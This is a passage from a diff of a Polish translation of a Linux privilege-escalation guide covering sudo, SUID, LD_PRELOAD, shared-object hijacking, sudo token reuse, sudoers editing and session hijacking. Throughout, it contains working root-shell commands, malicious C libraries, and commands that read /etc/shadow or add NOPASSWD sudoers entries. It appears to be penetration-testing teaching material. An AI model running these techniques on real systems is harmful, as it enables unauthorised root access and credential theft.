polecenia z uprawnieniami innego użytkownika bez znajomości hasła. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`; teraz łatwo otrzymać shell, dodając klucz ssh do katalogu root lub wywołując `sh`. +W tym przykładzie użytkownik `demo` może uruchomić `vim` jako `root`, teraz uzyskanie powłoki jest trywialne — poprzez dodanie klucza ssh do katalogu root lub wywołanie `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania polecenia: +Ta dyrektywa pozwala użytkownikowi **ustawić zmienną środowiskową** podczas wykonywania czegoś: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ten przykład, **based on HTB machine Admirer**, był **podatny** na **PYTHONPATH hijacking**, co pozwalało na załadowanie dowolnej python library podczas uruchamiania skryptu jako root: +Ten przykład, **based on HTB machine Admirer**, był **vulnerable** na **PYTHONPATH hijacking**, co pozwalało załadować dowolną bibliotekę python podczas uruchamiania skryptu jako root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo — omijanie ścieżek wykonania +### Sudo — omijanie ścieżek wykonywania -**Przejdź**, aby odczytać inne pliki lub użyj **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** aby odczytać inne pliki lub użyć **symlinks**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -779,46 +780,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Jeśli użyty jest **wildcard** (\*), to jest jeszcze łatwiejsze: +Jeśli użyty jest **wildcard** (\*), jest to jeszcze łatwiejsze: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Środki zaradcze**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez ścieżki do polecenia +### Sudo command/SUID binary bez podania ścieżki do polecenia -Jeśli uprawnienie **sudo** jest przyznane do pojedynczego polecenia **bez podania ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH +Jeśli przyznano **sudo permission** dla pojedynczego polecenia **bez podania ścieżki**: _hacker10 ALL= (root) less_, można to wykorzystać, zmieniając zmienną PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ta technika może być również użyta, jeśli binarny plik **suid** **wykonuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnego pliku SUID)**. +Ta technika może być również użyta, jeśli **suid** binary **wykonuje inne polecenie bez określania ścieżki do niego (zawsze sprawdź za pomocą** _**strings**_ **zawartość dziwnego SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary z określoną ścieżką do polecenia +### SUID binary z podaną ścieżką polecenia -Jeśli binarny plik **suid** **wywołuje inne polecenie, podając ścieżkę**, możesz spróbować **export a function** o nazwie odpowiadającej poleceniu wywoływanemu przez plik suid. +Jeśli **suid** binary **wykonuje inne polecenie, podając ścieżkę**, możesz spróbować **export a function** o nazwie takiej jak polecenie, które wywołuje plik suid. -Na przykład, jeśli suid binary wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować utworzyć funkcję i wyeksportować ją: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Następnie, gdy wywołasz plik binarny suid, ta funkcja zostanie wykonana +Wtedy, gdy wywołasz suid binary, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -Zmienna środowiskowa **LD_PRELOAD** służy do wskazania jednej lub więcej bibliotek współdzielonych (.so files), które mają być załadowane przez loader przed wszystkimi innymi, w tym przed standardową biblioteką C (`libc.so`). Ten proces nazywa się wstępnym ładowaniem biblioteki. +Zmienna środowiskowa **LD_PRELOAD** służy do określenia jednej lub więcej bibliotek współdzielonych (.so files), które loader ma załadować przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Ten proces jest znany jako wstępne ładowanie biblioteki. -Jednak aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: +Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystywaniu tej funkcji, szczególnie w przypadku wykonywalnych plików **suid/sgid**, system wymusza pewne warunki: -- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których realny identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). -- Dla plików wykonywalnych z suid/sgid, jedynie biblioteki w standardowych ścieżkach, które również mają suid/sgid, są wstępnie ładowane. +- Loader pomija **LD_PRELOAD** dla wykonywalnych plików, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_). +- Dla wykonywalnych plików z suid/sgid preloadowane są tylko biblioteki w standardowych ścieżkach, które same również mają suid/sgid. -Do eskalacji uprawnień może dojść, jeśli masz możliwość wykonywania poleceń z `sudo` i wynik `sudo -l` zawiera frazę **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, aby zmienna środowiskowa **LD_PRELOAD** przetrwała i była rozpoznawana nawet podczas uruchamiania poleceń z `sudo`, co potencjalnie może prowadzić do wykonania dowolnego kodu z podwyższonymi uprawnieniami. +Privilege escalation może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo` i wynik `sudo -l` zawiera wpis **env_keep+=LD_PRELOAD**. Taka konfiguracja pozwala, aby zmienna środowiskowa **LD_PRELOAD** utrzymywała się i była rozpoznawana nawet podczas uruchamiania poleceń przez `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` @@ -835,7 +836,7 @@ setuid(0); system("/bin/bash"); } ``` -Następnie **skompiluj to** używając: +Następnie **skompiluj to** za pomocą: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -867,13 +868,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Gdy natrafisz na plik wykonywalny z uprawnieniami **SUID**, który wydaje się nietypowy, warto sprawdzić, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: +Gdy natrafisz na plik binarny z uprawnieniami **SUID**, który wydaje się nietypowy, dobrą praktyką jest sprawdzenie, czy prawidłowo ładuje pliki **.so**. Można to zweryfikować, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje możliwość wykorzystania. +Na przykład, napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjalne exploitation. -Aby to wykorzystać, należy utworzyć plik C, na przykład _"/path/to/.config/libcalc.c"_, zawierający następujący kod: +Aby to exploit, należy utworzyć plik C, np. _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -884,13 +885,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ten kod, po skompilowaniu i uruchomieniu, ma na celu uzyskanie podwyższonych uprawnień poprzez manipulowanie uprawnieniami plików i uruchomienie powłoki z podwyższonymi uprawnieniami. +Ten kod, po skompilowaniu i uruchomieniu, ma na celu eskalację uprawnień poprzez manipulowanie file permissions i uruchomienie shell o podwyższonych uprawnieniach. -Skompiluj powyższy plik C do biblioteki współdzielonej (.so) za pomocą: +Skompiluj powyższy C file do shared object (.so) file za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na koniec, uruchomienie dotkniętego SUID binary powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu. +Ostatecznie uruchomienie dotkniętego SUID binary powinno wywołać exploit, umożliwiając potencjalne przejęcie kontroli nad systemem. ## Shared Object Hijacking ```bash @@ -902,7 +903,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Teraz, gdy znaleźliśmy SUID binary, który ładuje library z folderu, do którego możemy zapisywać, utwórzmy library w tym folderze o odpowiedniej nazwie: +Teraz, gdy znaleźliśmy binarkę SUID, która ładuje bibliotekę z katalogu, do którego mamy prawa zapisu, utwórzmy bibliotekę w tym katalogu pod odpowiednią nazwą: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -919,13 +920,13 @@ Jeśli otrzymasz błąd taki jak ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to oznacza, że biblioteka, którą wygenerowałeś, musi zawierać funkcję nazwaną `a_function_name`. +to znaczy, że biblioteka, którą wygenerowałeś, musi zawierać funkcję o nazwie `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) jest kuratowaną listą binarek Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) działa w podobny sposób, ale dla przypadków, gdy możesz **only inject arguments** w polecenie. +[**GTFOBins**](https://gtfobins.github.io) to starannie przygotowana lista binarek Unix, które mogą być wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) to to samo, ale w przypadkach, gdy możesz **tylko wstrzykiwać argumenty** w polecenie. -Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby wydostać się z restricted shells, eskalować lub utrzymać elevated privileges, transferować pliki, uruchamiać bind i reverse shells oraz ułatwiać inne post-exploitation zadania. +Projekt zbiera legalne funkcje binarek Unix, które mogą być nadużyte, by wydostać się z restricted shells, eskalować lub utrzymać elevated privileges, przesyłać pliki, uruchamiać bind i reverse shells oraz ułatwiać inne zadania post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -944,55 +945,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -Jeśli możesz uruchomić `sudo -l` możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajdzie sposób na wykorzystanie którejkolwiek reguły sudo. +Jeśli możesz uruchomić `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aby sprawdzić, czy znajduje sposób na wykorzystanie którejkolwiek reguły sudo. ### Reusing Sudo Tokens -W przypadkach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia poprzez **oczekiwanie na wykonanie polecenia sudo, a następnie przejęcie session token**. +W sytuacjach, gdy masz **sudo access** ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo i przechwytując token sesji**. Wymagania do eskalacji uprawnień: - Masz już shell jako użytkownik "_sampleuser_" -- "_sampleuser_" have **used `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to jest czas trwania sudo token, który pozwala używać `sudo` bez podawania hasła) -- `cat /proc/sys/kernel/yama/ptrace_scope` jest 0 +- "_sampleuser_" użył **`sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania sudo tokena, który pozwala na użycie `sudo` bez podawania hasła) +- `cat /proc/sys/kernel/yama/ptrace_scope` ma wartość 0 - `gdb` jest dostępny (możesz go wgrać) -(Możesz tymczasowo włączyć `ptrace_scope` poleceniem `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) +(Możesz tymczasowo włączyć `ptrace_scope` poleceniem `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale, modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) -Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Jeśli wszystkie te warunki są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Pierwszy exploit (`exploit.sh`) utworzy binarkę `activate_sudo_token` w _/tmp_. Możesz jej użyć, aby **aktywować sudo token w twojej sesji** (nie otrzymasz automatycznie root shell — wykonaj `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **należącą do root z ustawionym setuid** +- Drugi **exploit** (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **należącą do root posiadającą setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, który sprawi, że **sudo tokens będą wieczne i pozwoli wszystkim użytkownikom używać sudo** +- Ten **trzeci exploit** (`exploit_v3.sh`) **utworzy sudoers file**, który **uczyni sudo tokens wiecznymi i pozwoli wszystkim użytkownikom używać sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Jeśli masz **write permissions** w tym folderze lub na którymkolwiek z utworzonych w nim plików, możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **create a sudo token for a user and PID**.\ -Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten user z PID 1234, możesz **obtain sudo privileges** bez potrzeby znajomości hasła wykonując: +Jeśli masz **uprawnienia do zapisu** w folderze lub na którymkolwiek z plików utworzonych w tym folderze możesz użyć binarki [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) aby **utworzyć token sudo dla użytkownika i PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz shell jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez konieczności znajomości hasła wykonując: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Plik `/etc/sudoers` oraz pliki wewnątrz `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\ -**Jeżeli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać pewne interesujące informacje**, a jeśli możesz **zapisać** dowolny plik, będziesz w stanie **eskalować przywileje**. +Plik `/etc/sudoers` oraz pliki w katalogu `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być czytane tylko przez użytkownika root i grupę root**.\ +**Jeśli** możesz **odczytać** ten plik, możesz uzyskać **pewne interesujące informacje**, a jeśli możesz **zapisać** dowolny plik, będziesz w stanie **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Jeśli masz uprawnienie do zapisu, możesz je nadużyć. +Jeśli możesz zapisywać, możesz nadużyć tego uprawnienia. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1006,17 +1007,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Istnieją pewne alternatywy dla binarnego pliku `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` +Istnieją pewne alternatywy dla binarki `sudo`, takie jak `doas` dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Jeżeli wiesz, że **użytkownik zwykle łączy się z maszyną i używa `sudo`** aby eskalować uprawnienia i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy sudo executable** który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik wywoła sudo, wykonywany był twój sudo executable. +Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo** który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik wywoła sudo, wykonywany był twój plik sudo. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Zauważ, że jeśli użytkownik używa innej powłoki (nie bash) będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Lub uruchamiając coś w stylu: +Lub uruchamiając coś takiego: ```bash cat >/tmp/sudo < (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Następnie utwórz złośliwą bibliotekę w `/var/tmp` przy użyciu `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Następnie utwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1080,10 +1081,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Uprawnienia (capabilities) -Linux capabilities dostarczają procesowi **podzbiór dostępnych uprawnień roota**. To praktycznie rozdziela uprawnienia roota na mniejsze i odrębne jednostki. Każdej z tych jednostek można następnie niezależnie przyznać procesom. W ten sposób pełny zestaw uprawnień zostaje zredukowany, zmniejszając ryzyko wykorzystania.\ -Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je wykorzystać**: +Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Przeczytaj następującą stronę, aby **dowiedzieć się więcej o capabilities i jak je nadużyć**: {{#ref}} @@ -1092,14 +1093,14 @@ linux-capabilities.md ## Uprawnienia katalogu -W katalogu, **bit for "execute"** oznacza, że dany użytkownik może "**cd**" do folderu.\ -Bit **"read"** oznacza, że użytkownik może **wyświetlić listę** **plików**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. +W katalogu, bit **"execute"** oznacza, że dany użytkownik może "**cd**" do folderu.\ +Bit **"read"** oznacza, że użytkownik może **wyświetlić** **listę plików**, a bit **"write"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**. ## ACLs -Access Control Lists (ACLs) stanowią drugą warstwę uprawnień dyskrecjonalnych, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu przez przyznawanie lub odmawianie praw określonym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **szczegółowości zapewnia precyzyjniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stanowią wtórną warstwę uprawnień dyskrecjonarnych, zdolną do **nadpisywania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do pliku lub katalogu, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani członkami grupy. Ten poziom **szczegółowości zapewnia precyzyjniejsze zarządzanie dostępem**. Dalsze informacje można znaleźć [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Nadaj** użytkownikowi "kali" read i write uprawnienia do pliku: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1110,10 +1111,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Otwieranie shell sessions +## Otwarte sesje shell -W **starych wersjach** możesz **hijack** czyjąś **shell** session (**root**).\ -W **nowszych wersjach** będziesz mógł **connect** do screen sessions tylko **swojego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz session**. +W **starych wersjach** możesz **hijack** niektóre sesje **shell** innego użytkownika (**root**).\ +W **najnowszych wersjach** będziesz mógł **connect** do sesji screen należących tylko do **twojego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**. ### screen sessions hijacking @@ -1130,11 +1131,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Przejęcie sesji tmux +## tmux sessions hijacking -To był problem w przypadku **starych wersji tmux**. Nie byłem w stanie przejąć sesji tmux (v2.1) utworzonej przez root jako użytkownik nieuprzywilejowany. +To był problem ze **starymi wersjami tmux**. Nie byłem w stanie przejąć sesji tmux (v2.1) utworzonej przez root jako nieuprzywilejowany użytkownik. -**Wyświetl sesje tmux** +**List tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1158,77 +1159,77 @@ Sprawdź **Valentine box from HTB** jako przykład. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Wszystkie klucze SSL i SSH wygenerowane w systemach opartych na Debianie (Ubuntu, Kubuntu, itd.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem. -Ten błąd występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe było tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można wyliczyć i **mając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie klucze SSL i SSH wygenerowane na systemach opartych na Debianie (Ubuntu, Kubuntu, etc) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ +Ten błąd występuje podczas tworzenia nowego ssh key w tych OS, ponieważ **only 32,768 variations were possible**. Oznacza to, że wszystkie możliwości można obliczyć i **having the ssh public key you can search for the corresponding private key**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Ciekawe wartości konfiguracyjne +### SSH Interesting configuration values -- **PasswordAuthentication:** Określa, czy uwierzytelnianie za pomocą hasła jest dozwolone. Domyślnie `no`. +- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie `no`. - **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie `yes`. -- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustym hasłem. Domyślnie `no`. +- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi hasłami. Domyślnie `no`. ### PermitRootLogin Określa, czy root może logować się przez ssh, domyślnie `no`. Możliwe wartości: -- `yes`: root może się logować za pomocą hasła i klucza prywatnego +- `yes`: root może logować się za pomocą hasła i klucza prywatnego - `without-password` or `prohibit-password`: root może logować się tylko za pomocą klucza prywatnego -- `forced-commands-only`: Root może logować się tylko przy użyciu klucza prywatnego i gdy określone są opcje poleceń -- `no`: brak możliwości logowania dla root +- `forced-commands-only`: Root może logować się tylko za pomocą klucza prywatnego i jeśli określone są opcje commands +- `no` : nie ### AuthorizedKeysFile -Określa pliki, które zawierają klucze publiczne używane do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki absolutne** (rozpoczynające się od `/`) lub **ścieżki względne względem katalogu domowego użytkownika**. Na przykład: +Określa pliki zawierające public keys, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracja spowoduje, że jeśli spróbujesz zalogować się za pomocą **private** key użytkownika "**testusername**", ssh porówna public key twojego klucza z kluczami znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracja będzie wskazywać, że jeśli spróbujesz zalogować się przy użyciu klucza **private** użytkownika "**testusername**", ssh porówna klucz publiczny Twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding pozwala ci **use your local SSH keys instead of leaving keys** (without passphrases!) zamiast trzymać je na serwerze. Dzięki temu będziesz mógł połączyć się przez ssh **jump** **to a host** i stamtąd **jump to another** host **using** the **key** znajdujący się na twoim **initial host**. +SSH agent forwarding pozwala Ci **use your local SSH keys instead of leaving keys** (without passphrases!) pozostawionych na serwerze. Dzięki temu będziesz mógł **jump** via ssh **to a host** i stamtąd **jump to another** host **using** the **key** located in your **initial host**. -Musisz ustawić tę opcję w `$HOME/.ssh.config` w ten sposób: +Musisz ustawić tę opcję w `$HOME/.ssh.config` w następujący sposób: ``` Host example.com ForwardAgent yes ``` -Zauważ, że jeśli `Host` jest `*`, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie mogła uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa). +Zauważ, że jeśli `Host` jest ustawiony na `*`, za każdym razem gdy użytkownik przełącza się na inną maszynę, ta maszyna będzie miała dostęp do kluczy (co stanowi problem bezpieczeństwa). -Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zablokować tę konfigurację.\ -Plik `/etc/sshd_config` może **zezwolić** lub **zablokować** ssh-agent forwarding przy użyciu słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). +Plik `/etc/ssh_config` może **nadpisać** tę **opcję** i zezwolić lub zabronić tej konfiguracji.\ +Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** ssh-agent forwarding przy użyciu słowa kluczowego `AllowAgentForwarding` (domyślnie zezwolone). -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następną stronę, ponieważ **you may be able to abuse it to escalate privileges**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## Interesujące pliki -### Profiles files +### Pliki profili -Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` są **skryptami uruchamianymi, gdy użytkownik otwiera nową powłokę**. W związku z tym, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. +Plik `/etc/profile` oraz pliki w katalogu `/etc/profile.d/` to **skrypty wykonywane, gdy użytkownik uruchamia nowy shell**. W związku z tym, jeśli możesz **zapisć lub zmodyfikować którykolwiek z nich, możesz escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Jeśli znajdziesz jakiś podejrzany skrypt profilu, powinieneś sprawdzić go pod kątem **poufnych informacji**. +Jeśli znajdziesz podejrzany skrypt profilu, sprawdź go pod kątem **wrażliwych informacji**. -### Pliki passwd/shadow +### Pliki Passwd/Shadow -W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znaleźć wszystkie** i **sprawdzić, czy możesz je odczytać**, aby zobaczyć **czy w plikach znajdują się hashe**: +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Zaleca się więc **znaleźć wszystkie** i **sprawdzić, czy można je odczytać**, aby zobaczyć **czy w plikach są hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub równoważnym) +W niektórych przypadkach można znaleźć **password hashes** w pliku `/etc/passwd` (lub jego 